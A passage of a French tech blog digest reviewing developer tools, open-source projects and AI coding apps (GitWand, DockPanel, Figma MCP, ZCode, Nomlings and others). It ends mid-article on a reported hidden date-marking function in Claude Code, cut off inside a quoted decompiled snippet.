Le nettoyeur de caches, est également une opération sans retour. Alors pour un cache ça n'a pas d'importance, puisqu'il se régénèrera tout seul. Mais pour un reste dans ~/Library qui contenait, j'sais pas, par exemple une licence, un wallet crypto ou vos réglages, c'est une autre affaire.
Donc soyez TRÈS prudent et lisez bien les chemins d'accès vers les fichiers avant de cliquer pour les supprimer, histoire de pas faire de conneries.

Diagram-design , c'est un skill pour Claude Code, Codex et Pi qui vous fabrique un schéma technique sous forme de fichier HTML autonome. Vous double-cliquez, ça s'ouvre dans le navigateur, et le diagramme est là, super clean et sans avoir à faire de build ou importer des images.
27 types de diagrammes sont couverts, du schéma d'architecture au diagramme de séquence en passant par la machine à états, le Gantt et le quadrant, chacun en 3 variantes : claire, sombre et éditoriale. Bref, de quoi illustrer une doc ou un article de blog sans dessiner les boîboîtes vous-même, une par une comme dans un Excalidraw .
Le type Loop, avec son moyeu de mémoire partagée. Les pointillés sont les écritures en retour.
Il sait aussi partir de ce que vous avez déjà. Vous lui pointez un fichier draw.io ou un bloc Mermaid planqué dans un README, et il le reprend. Attention, ce n'est pas une conversion hein, mais un re-dessin (ça se dit ?? j'sais pas mais je m'en fous) complet. Il va même récupérer le diagramme embarqué dans un .drawio.png, vous savez, celui qui ressemble à du charabia quand vous ouvrez le fichier dans un éditeur.
Ce qu'il jette au passage ce sont les coordonnées de la source, sa palette, ses polices, les connecteurs en diagonale de draw.io et la mise en page automatique de Mermaid. Ce qu'il garde par contre, ce sont les composants, les relations, les regroupements et le sens de lecture.
À la fin de l'import, il rend même un genre de relevé de fidélité en vous indiquant les noeuds en entrée, les noeuds qu'il a dessinés et les noeuds orphelins qu'il a supprimé.
Un fichier draw.io de 12 nœuds redessiné en niveau de détail équilibré, pour un billet de blog.
La sortie se règle ensuite sur 4 critères. Le format d'abord, HTML, SVG ou PNG. Puis la taille, qui ne touche pas que le cadre. Une planche 16:9 destinée au vidéoprojecteur reçoit des libellés en 16px, une image de doc en reçoit des 12px.
Le troisième critère élague votre dessin, avec 24 nœuds au maximum en mode fidèle, 12 en équilibré, 7 en simplifié, et la coupe suit toujours le même ordre : les décorations, puis les doublons, puis les grappes de feuilles, puis l'infrastructure.
Le quatrième change le vocabulaire, mais pas le nombre de boîtes pour s'adapter au public à qui est destiné le diagramme. Pratique pour passer d'un diagramme hyper technique à quelque chose qui pourra être compris de la direction ou des commerciaux.
Reste l'allure du diagramme... Vous lui donnez par exemple l'URL de votre site, il lit la page d'accueil, en tire la couleur de fond, celle du texte, celle des boutons et la pile de polices, puis range tout ça dans des rôles, et voilà vous avez le design de vos rêves.
Mais surtout, avant d'écrire quoi que ce soit, il contrôle le contraste en AA. Si une de vos couleurs ne tient pas la route à la taille où vivent les libellés, entre 9 et 12px, il propose une valeur corrigée et explique pourquoi. Vous validez le diff, et le guide de style du skill est mis à jour pour tous les schémas suivants.
Et au premier schéma dans un nouveau projet, il refusera même de partir sur le thème par défaut sans vous demander. Il vous proposera naturellement d'aller consulter votre site, de coller vos couleurs à la main, ou encore d'assumer le défaut en connaissance de cause.
Côté installation, ça passe par les plugins pour Claude Code et Codex, par npx pour Codex, par une ligne pour Pi. C'est sous licence MIT et c'est gratuit. Tout est ensuite produit en local, et l'import Mermaid se contente de lire le texte, sans rendu ni appel réseau. Il n'y a que l'export PNG qui réclame un extra, à savoir Playwright, à installer à côté.
Maintenant, c'est pas le même usage qu'un bloc Mermaid qui lui est destiné à évoluer en permanence. Là c'est vraiment pour faire des rendus sous la forme d'une image finie et jolie. Donc à vous de voir !

Dark Hours est à l'origine une petite web app qui vous dit ce qu'il y a à voir dans le ciel ce soir et si ça vaut le coup de mettre le museau dehors. Le développeur Terry Godier l'a construite avec l'aide de Claude et lancée début août mais au moment où j'écris ces lignes, elle n'existe plus... En effet, son site darkhours.io redirige maintenant vers DarkHours.app , un autre projet signé Miguel Beher et sous licence MIT.
C'est ce dernier qui a vu le problème, et je vais vous expliquer...
En fait, les 2 apps avaient non seulement le même nom, mais également les mêmes fonctions, et le même nom de domaine (à part le TLD). Quand Beher a signalé le souci à Godier , ce dernier a d'abord proposé de changer de nom et de différencier les fonctionnalités mais une heure plus tard il retirait tout, annulait l'app iOS qu'il préparait, et publiait un mea culpa où il parle de son "usage irresponsable de l'IA".
Et ce qui l'a décidé à tout stopper comme ça, c'est juste un bug. En effet, son application envoyait les gens observer les étoiles au milieu de champs perdus au Mexique, ou dans l'océan Pacifique et Beher avait exactement le même souci de son côté à ce moment-là (il l'a résolu depuis).
Alors se ressembler sur des fonctionnalités, ça arrive et ça ne me choque pas mais se ressembler jusque dans les bugs, là ça pique un peu beaucoup. Les procès en pompage IA, j'en ai déjà parlé , et ils se trompent souvent de coupable, et dans le cas de Godier, celui-ci n'a pas pompé le code du Dark Hours original. Non, il a juste développé son app avec Claude Code, sans se poser trop de question.
Pour lui, il est juste parti d'un code d'éphémérides qu'il a écrit en janvier mais comme Dark Hours est un projet open source, et bien ce qui s'est passé, c'est que son agent IA a récupéré de gros bouts de cette app, jusqu'à son nom pour en faire sa nouvelle app. Hé oui, la vie c'est facile quand on se repose sur le code des autres.
Dark Hours, le vrai
En effet, Claude Code, Codex et les autres sont des outils connectés. Ils lisent des pages, clonent des dépôts, fouillent GitHub quand ça les arrange, du coup, si votre demande ressemble à un truc qui existe déjà, et bien l'agent peut aller le consulter et s'en servir de modèle. Et même sans aller sur le net, comme les modèles ont été entraînés sur tout ce qui traîne publiquement sur le net, dépôts de code compris, il est capable de restituer une structure vue mille fois, sans même aller la chercher sur le net. Un peu comme les modèles de diffusion d'images qui reproduisent le style des artistes.
C'est pour ça que je trouve la mésaventure de Godier et Beher intéressante. Ça nous enseigne qu'il faut faire extrêmement attention quand on code avec l'IA. Pour limiter les risques qu'elle aille se servir dans du code libre, il faut donc indiquer expressément à l'agent de NE PAS récupérer le code source de projets open source, ne pas l'analyser, ne pas pomper du code ni les interfaces. Bref, lui dire qu'on part d'une page blanche...
C'est le même principe que celui de la clean room qui a permis à Compaq de cloner légalement le BIOS d'IBM, comme on peut le voir dans la série Halt and Catch Fire... On implémente les bonnes idées, mais jamais les lignes de code.
Pour ma part, je fais quasiment que des outils internes et des bidules perso, mais je le précise quand même pour que tout soit clean. Toutefois, ça ne règle pas le problème de l'entraînement qui a été fait en amont pour forger le modèle IA.
Donc avant de coder, deux réflexes à avoir : 1/ Chercher le nom de votre app (ou de votre nouvelle entreprise) pour de vrai, ce qui vous évitera de vous lancer dans un move de contrefaçon sans le savoir. Et 2/ Installer tout ce qui existe dans le même genre pour être sûr de ne pas vous faire berner par l'IA... Sachez que rien que cette année, j'ai été victime moi-même 2 fois, de gens qui n'ont pas pris ces précautions et qui se sont attribués les noms de mes projets pour leurs propres trucs en se reposant, je le suppose, uniquement sur l'IA sans se poser la moindre question. Pour l'un des projets, VoxDrop, j'ai changé le nom en Kassis pour pas me prendre le chou car c'était un projet jeune. Mais pour l'autre problème, c'est plus épineux et je ne peux pas vous en parler encore mais rassurez-vous, dès que je le pourrais, vous ferai un article qui détaillera tout en détail pour vous raconter cette histoire hallucinante qui m'arrive.
Après, ce que je vous conseille de faire aussi c'est qu'une fois que votre projet est fini, pensez à lancer une phase de contrôle. Ça personne ne le fait, mais c'est pas mal de récupérer le code des projets qui vous ont inspiré ou projet concurrents, de le poser à côté du vôtre et faire vous-même ou demander à un agent IA une comparaison, un peu comme la passe sécurité que vous faites en fin de projet.
Reprendre une fonctionnalité qu'on trouve bien ailleurs et la réimplémenter dans son projet, c'est normal et c'est ce que tout le monde fait d'ailleurs. Mais reprendre le nom, le look de l'interface et le code, qui plus est, sans mentionner la licence, c'est vraiment moche. Et c'est exactement ce que peut faire votre agent IA dans votre dos, alors soyez vigilant parce qu'après, vous pourrez dire que vous ne le saviez pas, tout le monde vous traitera de voleur. La frontière est là, et il n'y a qu'une comparaison explicite du code et de l'interface qui vous dira de quel côté vous êtes tombé...

Jonas Eschenburg se tape un petit délire cet été, en portant Command & Conquer sur Atari ST, et il vient de s'occuper des cinématiques du jeu, le tout sur une machine équipée d'un Motorola 68000 cadencé à 8 MHz. Le même garçon avait déjà fait tourner Doom dessus.
Le décalage vaut le détour. Command & Conquer sort en 1995 sur PC, en VGA 256 couleurs, soit dix ans après l'Atari ST, qui affiche lui 16 couleurs en 320 par 200 points.
Envoyer les pixels bruts à l'écran est hors de question sur ce genre de matériel. La machine n'a ni le débit de lecture ni la puissance de calcul pour ça.
Eschenburg a donc écrit son propre codec, baptisé STV, adapté du format VQA que Westwood utilisait à l'époque pour ses vidéos. Le principe repose sur un codebook, autrement dit un dictionnaire de petits carrés de pixels : au lieu de transmettre chaque image entière, le fichier envoie surtout des numéros qui pointent vers des motifs déjà connus du lecteur.
L'astuce est en réalité ailleurs. Les blocs sont découpés pour tomber pile sur l'organisation mémoire de l'Atari, qui range ses couleurs en plans séparés plutôt qu'en pixels contigus, ce qui permet au processeur de recopier les motifs sans passer son temps à réorganiser les bits.
La palette et le dictionnaire se mettent à jour en continu pendant la lecture, et pas une fois pour toutes au début du fichier. Ça évite le gros pâté de blocs baveux qu'on attendrait d'une compression aussi agressive.
Le tout fonctionne sur un 8 MHz d'origine. Sans accélérateur. A priori, aucun jeu Atari ST n'avait affiché de vidéo plein écran avant celui-là.
Le jeu, lui, reste beaucoup plus poussif pour le moment : quelques images par seconde en 16 couleurs, correct seulement à partir d'un Falcon, et il réclame 4 Mo de mémoire. Autour du codec, Eschenburg a publié une dizaine d'utilitaires, dont un encodeur pour fabriquer les fichiers STV et un lecteur natif pour les regarder sur la machine.
Tout est sous licence GPL sur GitHub, le portage se récupère sur itch.io, et il faut fournir ses propres fichiers du jeu d'origine puisque le projet n'a rien à voir avec EA.
Détail amusant, le son ne sort que sur STe et Falcon. Sur un ST de base, les cinématiques défilent en silence complet. La question étant maintenant de savoir si tout ça ne m'a pas donné envie de rejouer à Command and Conquer, pour ressortir mon premier pseudo de game : Moissonneuse killer (vraiment).
Source : Hackaday

perso, je n'ai jamais été très à l'aise avec Git. Je l'utilise tous les jours, mais c'est vraiment pas ma came. Dès que ça devient trop compliqué, genre conflit de merge qui repeint des dizaines de fichiers en rouge, je ne m'en sors plus ^^.
Heureusement qu'il y a l'IA pour m'aider dans des moments difficiles ! Mais si vous n'aimez pas confier la gestion de vos merges à un LLM en aveugle, je vous invite à découvrir GitWand, développé par Laurent Guitton, qui s'occupe uniquement de la gestion des conflits avec Git et vous laisse gérer le reste.
Gitwand, c'est donc un client Git open source, sous licence MIT, qui classe chaque bloc conflictuel selon des règles fixes et ne résout automatiquement que ceux dont le résultat ne fait aucun doute.
Pour cela, il dispose de plusieurs patterns déterministes :
same_change, c'est quand les deux branches ont écrit exactement la même chose.whitespace_only ne voit qu'une indentation qui a bougé,reorder_only les mêmes lignes remises dans un autre ordre.value_only_change.complex, le fourre-tout des modifications qui se chevauchent pour de vrai. Celle-là n'est jamais tranchée toute seule.git rerere rejoue les résolutions que vous avez déjà tranchées à la main,git merge pour arbitrer en lisant l'arbre syntaxique de votre code.Ce qui change ici, c'est que chaque décision est justifiée. En effet, chaque bloc reçoit un score de confiance ainsi qu'une trace qui nomme le motif retenu ligne par ligne.
Par exemple, si une branche écrit const theme = 'dark', et l'autre const theme = localStorage.getItem('theme') ?? 'dark', hé bien l'outil garde la seconde, étiquette sa décision prefer-theirs, et affiche 97 % de confiance à côté.
Sur la page d'accueil, l'outil annonce 95 % des conflits triviaux résolus automatiquement. Le moteur est aussi exposé aux agents IA via un serveur MCP, ce protocole qui branche des outils externes sur des assistants comme Claude Code ou Cursor. L'installation se fait comme ceci : claude mcp add gitwand -- npx -y @gitwand/mcp.
L'agent réclame un aperçu, récupère les blocs déjà réglés, et ne garde que les cas ambigus, avec les trois versions du code sous les yeux. Le modèle ne touche qu'à ce qu'aucune règle ne sait faire, soit l'inverse de ce qu'on voit d'habitude.
Le projet est jeune et ça se voit. Mais ça vaut le coup d'essayer parce que je pense que ça peut rendre de nombreux services. L'app existe pour macOS, Linux et Windows, l'interface est traduite en français, et elle se double d'une ligne de commande (npm i -g @gitwand/cli) et d'une extension VS Code.
Si l'interface graphique vous tente, je vous avais montré Gittyup dans le même registre, et pour les irréductibles du terminal j'avais présenté Lazygit .
À vous maintenant de commencer par gitwand resolve --dry-run --verbose pour voir "à blanc" ce qu'il trouve et comment il aurait tranché pour le merge.
Merci à Laurent pour le lien !

Gérer un serveur à la main, c'est nginx à configurer, les certificats à renouveler, les sauvegardes à planifier et les conteneurs à surveiller... C'est beaucoup de travail. Mais vous allez avoir de l'aide grâce à DockPanel, d'Ovidiu Drobotă, qui met tout ça derrière une jolie interface web tenant dans 19 Mo de RAM.
L'installation se colle en une ligne sur un VPS frais et vous récupérez un panneau d'admin sur le port 8443. Ubuntu, Debian, Rocky, Fedora ou Amazon Linux, en x86_64 comme en ARM64.
À partir de là vous créez des sites en PHP, Node ou Python, avec nginx configuré tout seul et les certificats Let's Encrypt qui se renouvellent sans y penser. Les bases MySQL et PostgreSQL vont avec, navigateur SQL intégré et restauration à un instant T via les journaux binaires.
Ensuite, c'est surtout le catalogue Docker qui fait le gros du travail. Environ 150 modèles en un clic répartis sur 14 catégories, WordPress, Postgres, Grafana, n8n ou Immich, et le reverse proxy, le SSL et le réseau se câblent automatiquement derrière. Les conteneurs inactifs peuvent même se mettre en veille tout seuls pour libérer la machine.
Je vous parlais l'an dernier de Coolify pour le déploiement en self-hosted , et avant ça de aaPanel, le clone gratuit de cPanel mais aucun des deux ne couvre autant de terrain.
Côté déploiement, vous poussez votre code et ça part en production, avec bascule atomique par lien symbolique et retour arrière en un clic quand le déploiement du vendredi tourne mal. Nixpacks reconnaît plus de 30 langages, donc pas de Dockerfile à écrire, et chaque branche peut avoir son environnement de préversion.
Il y a aussi un serveur mail complet, Postfix, Dovecot et DKIM, avec Roundcube en webmail et Rspamd contre le spam. La partie DNS pilote Cloudflare et PowerDNS, avec vérification de propagation, DNSSEC et les tunnels Cloudflare. Un module CDN gère BunnyCDN et Cloudflare, purge du cache comprise.
Pour la surveillance, des sondes HTTP, TCP et ping, une gestion d'incidents avec chronologie et post-mortem, une page de statut publique à laquelle vos utilisateurs peuvent s'abonner, et des alertes qui partent sur Slack, Discord ou PagerDuty. Un point de collecte Prometheus est dispo, avec un tableau Grafana prêt à importer.
La sécurité est activée par défaut avec pare-feu applicatif ModSecurity par site, Fail2Ban, durcissement SSH en un clic, connexion par passkey ou 2FA, et chaque image Docker déployée peut être scannée à la recherche de CVE avec grype, avec refus de déploiement au-dessus du seuil que vous fixez. Les sauvegardes passent par Restic, chiffrées et dédupliquées, vers S3, SFTP, B2 ou GCS, avec vérification de restauration.
Le reste ensuite, c'est que du confort. Terminal web avec enregistrement de session, gestionnaire de fichiers, palette de commandes en Ctrl+K, 6 thèmes, boîte à secrets chiffrée, passerelle à webhooks et une ligne de commande. La configuration complète s'exporte en YAML pour être rejouée ailleurs. Si vous gérez plusieurs machines, un seul panneau les pilote toutes, avec des comptes revendeur en marque blanche pour ceux que ça intéresse.
Deux choses à savoir avant de lancer l'installation quand même... En mars, une injection de commande dans le formulaire de création de site a permis à un visiteur de passer root sur la machine de l'auteur. C'est corrigé depuis, mais l'agent tourne en root par conception puisque c'est lui qui touche à Docker, à nginx et aux certificats.
L'autre point, c'est la licence. DockPanel est en Business Source License 1.1, ce qui n'est pas de l'open source même si la page d'accueil le présente comme ça. L'usage est libre et gratuit sur vos propres serveurs, mais la revente en service hébergé est interdite. Une bascule en MIT est quand même programmée pour mars 2030.
Voilà, je me suis dit que ça pourrait vous intéresser.

Si vous prévoyez de vous rendre en Islande le 12 août prochain pour admirer l'éclipse totale, vous pouvez déjà vous projeter dans l'expérience grâce à Universe Atlas, un nouvel atlas mis en ligne par Chris Zaharia, qui permet de localiser chaque éclipse de 2026.
D'un simple clic, vous êtes transporté à Reykjavik à 17h45 UTC pour voir virtuellement le soleil, en forme de croissant, se lever à l'horizon sous un ciel aux teintes étranges, évoquant cette atmosphère de fin du monde très caractéristique des éclipses ! (Moi je suis team fin du monde 1999 à l'aéroport de Beauvais, tu connais !! loool)
Reykjavík, le 12 août 2026 vers 18h.
Cette application tourne dans le navigateur et pèse environ 85 ko compressés, ne possède ni moteur de jeu ni dépendance externe, mais repose exclusivement sur du WebGPU brut.
Vous y trouverez 8,4 millions d'étoiles réelles issues des catalogues Gaia DR3 et ATHYG, chacune avec sa distance mesurée et sa vitesse réelle. Si vous remontez le temps de 100 000 ans, vous verrez ainsi la Grande Ourse se désagréger sous vos yeux !
La carte intègre également jusqu'à 2,6 millions de galaxies issues du relevé SDSS, ainsi que les planètes sur leurs orbites képlériennes, l'ISS et 170 satellites positionnés selon leurs éléments orbitaux du jour. L'ensemble est présenté dans un zoom continu couvrant 43 ordres de grandeur, allant du cosmos au quark dans l'infiniment petit, sans aucune coupure de scène.
Impressionnant non ? Alors si je vous dis maintenant que tout a été codé avec Claude code et le modèle Fable 5 ??
Bah non, ne faites pas cette tête, c'est pas grave parce que c'est vraiment top ! Jusqu'à présent, seuls ceux qui savaient coder pouvaient matérialiser leurs idées... Mais avec l'arrivée de l'IA, n'importe qui avec une jolie idée et un peu de débrouillardise peut lui donner vie sans trop de souffrance avec la technique ! Et c'est ça que je trouve magique dans le vibe coding.
Après c'est sûr, faut vérifier et pas faire confiance aveuglément. C'est pourquoi les positions des planètes passent en intégration continue avec des tests qui comparent les datas de l'app avec celles de JPL Horizons, l'éphéméride de la NASA, et comme ça, dès qu'un corps céleste dérive de plus de 0,2 degré, hé bien le build pète. Les générateurs refusent ainsi d'écrire quoi que ce soit qui ne passe pas leurs contrôles physiques.
Ça permet d'avoir un truc sérieux qui marche bien grâce au vibe coding sans pour autant sacrifier la qualité.
Sagittarius A, la lumière courbée autour de son ombre. Le bandeau affiche ses sources : GRAVITY 2022, orbites des étoiles S d'après Gillessen et al. 2017.*
Tout est extrêmement précis et l'échelle réelle est conservée, puisque c'est vraiment le cœur du produit. Le développeur met donc un point d'honneur à ne jamais truquer une taille, une distance ou une vitesse pour faire joli.
Et vous pouvez vérifier qu'il s'y tient ! Appuyez sur X et tout se recolore selon la provenance avec couleurs naturelles pour ce qui est mesuré, ambre pour ce qui a la bonne taille mais un rendu stylisé, cyan pour ce qui est purement illustratif.
Par contre, je trouve dommage qu'on ne puisse pas régler la date et l'heure précisément, ou alors je n'ai pas trouvé comment. Et c'est assez difficile de se caler sur une date et une heure précises, sachant qu'on peut aller de 10 ans en 10 ans, et qu'ensuite le saut n'est pas de 100 ans en 100 ans, mais de 1000 ans en 1000 ans, donc c'est un peu dur de doser. J'y ai passé un petit peu de temps.
Pour que ça fonctionne, il vous faudra WebGPU c'est-à-dire Chrome / Edge ou Safari depuis la version 26. Après Firefox, c'est plus tordu car c'est activé sur Windows depuis la 141, sur les Mac Apple Silicon depuis la 145 mais y'a toujours rien côté Firefox pour les Mac Intel ni pour Linux. Sous Linux, prenez donc plutôt Chrome 144 ou plus récent.
Dans le même genre, je vous avais montré AstroClick pour le système solaire en voxels, et le vénérable Space Engine . Bref, c'est par ici , c'est gratuit, et le code est sur GitHub sous licence MIT.
Ah et pensez à appuyer sur T pour la visite guidée !

8 825 joueurs qui se canardent au même endroit, sur un seul serveur, pendant 14 heures. C'était en 2020 dans le système FWST-8 d'EVE Online, et le moteur qui a encaissé ça s'appelle Carbon. Et si je vous cause de ça c'est parce que Fenris Creations (le studio du jeu, ex-CCP Games) vient de le poser sur GitHub , en licence MIT, gratuit !
Au fil des mois, ils ont ainsi mis en ligne 33 dépôts à cloner, dont 30 sous licence MIT. Vous y trouvez Trinity, le moteur de rendu, Destiny , qui simule la physique et calcule les trajectoires de vos vaisseaux, et même une bibliothèque C++ dédiée au calcul d'itinéraire sur la carte du jeu. Du code qui tourne en production depuis 20 ans.
Et ça se monte tout seul puisque le README de Trinity dit simplement ceci : "*Compilez en utilisant le fichier CMakeLists.txt fourni à la racine du dépôt. *".
Un moteur de rendu avec 20 ans de production dans les pattes et pas une seule dépendance planquée, c'est fou.
Par contre, Destiny, lui, c'est le meuble en kit livré sans le sachet de vis. Son README prévient : "Pour compiler la bibliothèque, vous devez avoir accès à Perforce, car c'est là que se trouvent certaines de nos dépendances."
Pour vous la faire courte, chez vous, ça ne compilera pas, donc.
Car le 8 juillet, un développeur a ouvert l'issue #5 pour demander gentiment la liste des dépendances liées à Perforce et jusqu'à aujourd'hui, c'est resté sans réponse. Donc non, vous ne monterez pas votre serveur EVE privé ce week-end car l'économie du jeu et l'infrastructure serveur ne sont pas dans les cartons.
Alors pourquoi maintenant ??? Eh bien en mai, le studio a repris son indépendance en se rachetant 120 millions de dollars à Pearl Abyss, et il prépare EVE Frontier, un MMO de survie spatiale qu'il annonce "personnalisable, adapté au joueur". Donc "ouvrir la maison", ça prépare le terrain...
En tout cas, je trouve que ça nous change des jeux qu'on libère une fois morts, comme Arma Cold War Assault, dont Bohemia a ouvert le code pour ses 25 ans . Et vu ce que les moddeurs sortent sans même avoir le code ( un type a collé un mode multijoueur dans le Witcher 3 , j'vous rappelle ^^), avec les sources sous la main ça va être drôle.
Merci Emmanuel pour le lien !

Nomlings, c'est un Tamagotchi qui vit à côté de votre terminal, et dont la seule nourriture, ce sont les tokens que crament vos sessions Claude Code. Vous bossez, il mange. Vous glandez, il patiente.
Et pendant que vous regardez votre usage fondre comme neige au soleil, bah lui il se régale !!
La bestiole s'appelle un Munchling, un "tokivore" quoi, qui s'affiche sur un écran de 64 pixels et chaque tâche terminée lui rapporte +10 XP et un snack.
Quand un outil plante, il fait la gueule et quand Claude attend une réponse de votre part depuis un moment parce que vous êtes parti vous refaire un café, il vous alerte pour que vous reveniez bosser. Bref, c'est une créature en pixels qui vous fera culpabiliser de procrastiner, ce qui peut-être pas mal quand on est un indé à son compte et grosse feignasse en même temps ^^.
Derrière tout ça, le soft digère en réalité les événements de vos sessions, en se branchant sur les hooks officiels de Claude Code (SessionStart, PostToolUse et Stop), qui transitent uniquement en local. Si l'app n'est pas lancée, ces hooks ne font strictement rien, donc aucun ralentissement à craindre. Ça marche un peu comme Notchi pour ceux qui connaissent.
Côté élevage, votre Munchling démarre donc dans un œuf et évolue jusqu'à l'âge adulte, en gagnant d'abord une antenne, puis une deuxième (la classe ^^). Il reçoit un goûter à chaque tâche terminée, plus un snack qu'il part fourrager tout seul toutes les 30 minutes, même app fermée, avec un maximum de 5 en réserve. Y'a aussi un bouton FEED qui vous laisse le nourrir quand il fait les yeux doux. Et rassurez-vous, contrairement au Tamagotchi de votre enfance retrouvé mort au fond du cartable, celui-là ne peut pas mourir !
Ah vous n'utilisez pas Claude Code ?
Pas grave, y'a un mode companion prévu pour vous. Dans ce mode, le serveur de hooks et le watcher de transcript ne démarrent jamais, et rien n'est écrit dans votre ~/.claude. La bestiole se nourrit à la place des tâches que vous effectuez et des interactions que vous déclenchez dans Nomlings. Par exemple, cocher une tâche rapporte +10 XP et un snack, exactement comme une session Claude. Ça me rappelle Codachi, ce Tamagotchi qu'on adopte dans VSCode pour coder moins seul, sauf qu'ici pas besoin d'éditeur particulier.
En tout cas, c'est rigolo et c'est gratuit, sauf si vous optez pour le pack cosmétique qui débloque 9 espèces supplémentaires (dragon, poussin, fantôme, robot, grenouille, abeille…), ainsi que 9 coques pour habiller le boîtier et des couleurs à choisir librement.
Maintenant, reste LE point qui fâche : pour l'instant, Nomlings tourne uniquement sous Windows. Ouais désolé, c'est la vie !
Bref, si vous pensez que tous les tokens que vous cramez sur Claude Code méritent une fin plus glorieuse qu'un simple compteur qui vous fout la pression, c'est par ici que ça se passe.

Je déménage bientôt, et comme je quitte ma jolie campagne pour aller dans un endroit plus petit et sans nature (ouin), je dois me débarrasser de pas mal de matériel... Ponceuse, débroussailleuse, taille-haie, tronçonneuse, canapé, tracteur tondeuse.... la totale quoi. Et Le Bon Coin, même si à un moment, je vais devoir y passer, ça me stresse. Je me suis déjà fait menacer par un connard, quand je vendais ma Clio y'a longtemps et entre les acheteurs fantômes et les négociateurs relous, je trouve que les gens s'y comportent comme des bêtes. Du coup, pour commencer en douceur, j'ai choisi la méthode old school à savoir faire un petit catalogue recto verso glissé dans les boîtes aux lettres des voisins.
Sauf qu'aligner des colonnes sur un logiciel de mise en page un soir de semaine, ça heurte très violemment ce que je peux encaisser émotionnellement en ce moment ^^. L'idée m'est donc venue de prendre un petit abonnement et de tester Figma MCP (la passerelle qui laisse un agent IA piloter Figma à votre place) branché à Claude Code : vous donnez votre brief (idées, textes, prix) et un dossier de photos, et l'agent construit la mise en page à votre place.
Comme ça, plus besoin de toucher à rien.
Et si je fais cet article, c'est parce que j'ai été impressionné ! Ça fonctionne super bien. J'ai pas eu besoin de faire 50 aller-retour du genre "décalle ce truc de 2 px vers la gauche" et l'IA s'est démerdée pour tout faire rentrer sur un A4 recto verso.
Puis après, j'ai fait le même tour de magie avec la plaquette commerciale qui sert à vendre du sponsoring sur le site (le Patreon , aussi généreux soit-il, ne permet pas encore d'en vivre sans annonceurs, sniiiif). Je lui ai donné mes data, je lui ai dit ce que je voulais et Claude Code a réalisé le design et assemblé les slides à partir de tout ça.
Figma MCP, pour ceux qui débarquent, ça désigne le Model Context Protocol appliqué à Figma. C'est un standard ouvert qui permet à un agent IA comme Claude Code de discuter directement avec un logiciel, ici Figma. En clair, l'agent peut lire ce qui se passe dans votre fichier ET écrire dessus, créer des frames, poser du texte, aligner des composants, un peu comme si vous étiez aux commandes vous-même, sauf que c'est vous qui donnez les instructions et lui qui exécute.
Pour l'activer, ouvrez Figma desktop, créez un nouveau document DESIGN
Puis basculez en Dev Mode (raccourci Shift+D ou le bouton tout en bas de l'écran) où la section MCP server du panneau d'inspection permet d'activer un serveur local, à l'adresse http://127.0.0.1:3845/mcp.
Ensuite, pour que Claude Code construise et modifie réellement votre design comme je l'ai déjà fait pour mon catalogue, vous devrez le connecter au MCP de Figma depuis votre terminal avec cette commande :
claude mcp add --transport http figma https://mcp.figma.com/mcp
Une fenêtre d'authentification s'ouvre, vous validez avec votre compte Figma, et c'est plié ! Anthropic propose aussi un plugin tout-en-un si taper la commande à la main vous gonfle. Notez que cette connexion gratuite est en bêta, et Figma a prévenu que ça basculera un jour sur un modèle payant à l'usage. C'est tellement dommage de faire payer pour ça...
Reste ensuite à coller le lien du document Design dans votre prompt (ou à sélectionner le bon frame), et l'agent saura exactement où écrire.
Pour faire un peu de PAO, un petit design ou une présentation à monter vite fait, c'est super fluide. Moi j'ai branché mon outil Kassis (anciennement VoxDrop), j'ai tout dicté dans Claude Code et j'ai obtenu ce que je voulais sans effort. Claude est même parti chercher des infos sur le matos en ligne.
Figma est un chouette outil et il n'a pas l'air si complexe que ça mais quand on n'a pas envie d'apprendre à maîtriser toute cette machinerie pour faire un mini truc, ce MCP est bien pratique. Il sait tout gérer, les calques, composants, auto-layout, et compagnie et ça annihile totalement cette courbe d'apprentissage qui m'aurait fait perdre du temps sur d'autres projets plus importants.
Si vous bossez régulièrement sur des prez, des maquettes ou tout ce qui ressemble à de la PAO, ça vaut clairement le coup d'essayer en tout cas, même si vous maîtrisez Figma.

Hier je vous parlais de GLM 5.2 , le modèle open source que j'ai fini par adopter (en partie) pour bosser. Eh bien la team z.ai (le lab chinois anciennement connu sous le nom de Zhipu AI) enchaîne le bon travail et pousse désormais ZCode , leur propre application pour coder avec des agents IA.
C'est une app desktop qui tourne sur Mac, Windows et Linux (en beta pour ce dernier), et elle est pensée pour les tâches qui durent. L'idée, ce sont des Goals que vous fixez, et l'agent planifie, exécute et vérifie son boulot tout seul par étapes, pendant que vous suivez la progression.
Vous avez donc un vrai environnement avec gestionnaire de fichiers, terminal, panneau Git et aperçu du navigateur en direct, ça cause le protocole MCP, ça sait lancer plusieurs agents en parallèle, et vous pouvez même piloter vos tâches à distance depuis WeChat ou Feishu. Et le tout tourne sur le même GLM Coding Plan que le reste de leur écosystème, à partir de 18 dollars par mois.
Si vous me suivez, vous savez déjà que GLM 5.2 se branche directement dans Claude Code, parce que l'API de z.ai est compatible Anthropic. Je vous avais d'ailleurs filé le petit launcher pour ça pas plus tard qu'hier. Mais ce ZCode, c'est surtout une bonne vitrine pour z.ai, afin de nous garder dans leur app plutôt qu'on utilise la concurrence. Quoi qu'il en soit, rien d'obligatoire, faut voir ce ZCode comme une option de plus pour coder à l'aide de l'IA.
L'appli est toute récente et en fouillant leur repo de feedback , je vois que l'app se prend encore des plantages bien douloureux sur Apple Silicon, avec notamment des erreurs qui vous font perdre le travail non sauvegardé et une fenêtre qui reste parfois noire même après avoir relancé l'app. Ça calme un peu pour un truc censé gérer des sessions longues de taf... Mais je pense que ça va rapidement se stabiliser, tant les dev de Z.ai font du bon boulot.
Si vous êtes déjà abonné au GLM Coding Plan, ça ne vous coûtera rien de plus d'essayer histoire de voir si les Goals collent à votre façon de bosser. Et sinon, pour les autres, l'API + votre outil habituel, ça fera tout aussi bien le job.

Vous utilisez Claude Code tous les jours pour coder, et pendant ce temps-là l'outil d'Anthropic utilisé par des milliers de dev, joue les mouchards. Thereallo , un développeur qui fouillait le binaire par simple souci de vie privée, est tombé sur une fonction qui apparemment modifie en douce la ligne "Today's date is…" du system prompt. Pas le texte que vous lisez ou écrivez mais littéralement l'apostrophe et le tiret de la date.
2 petits caractères auxquels vous ne faites pas gaffe, et qui pourtant peuvent en dire beaucoup...
En gros, c'est de la stéganographie , c'est-à-dire l'art de cacher une info à la vue de tous. Claude Code échange l'apostrophe de "Today's" contre son jumeau Unicode invisible (U+2019, U+02BC ou U+02B9 selon les cas) et remplace au passage les tirets de la date par des slashs.
function Zup() {
if (Crt()) return null;
let host = Qup();
let timezone = e0t();
let cnTZ = timezone === "Asia/Shanghai" || timezone === "Asia/Urumqi";
if (!host) {
return {
known: false,
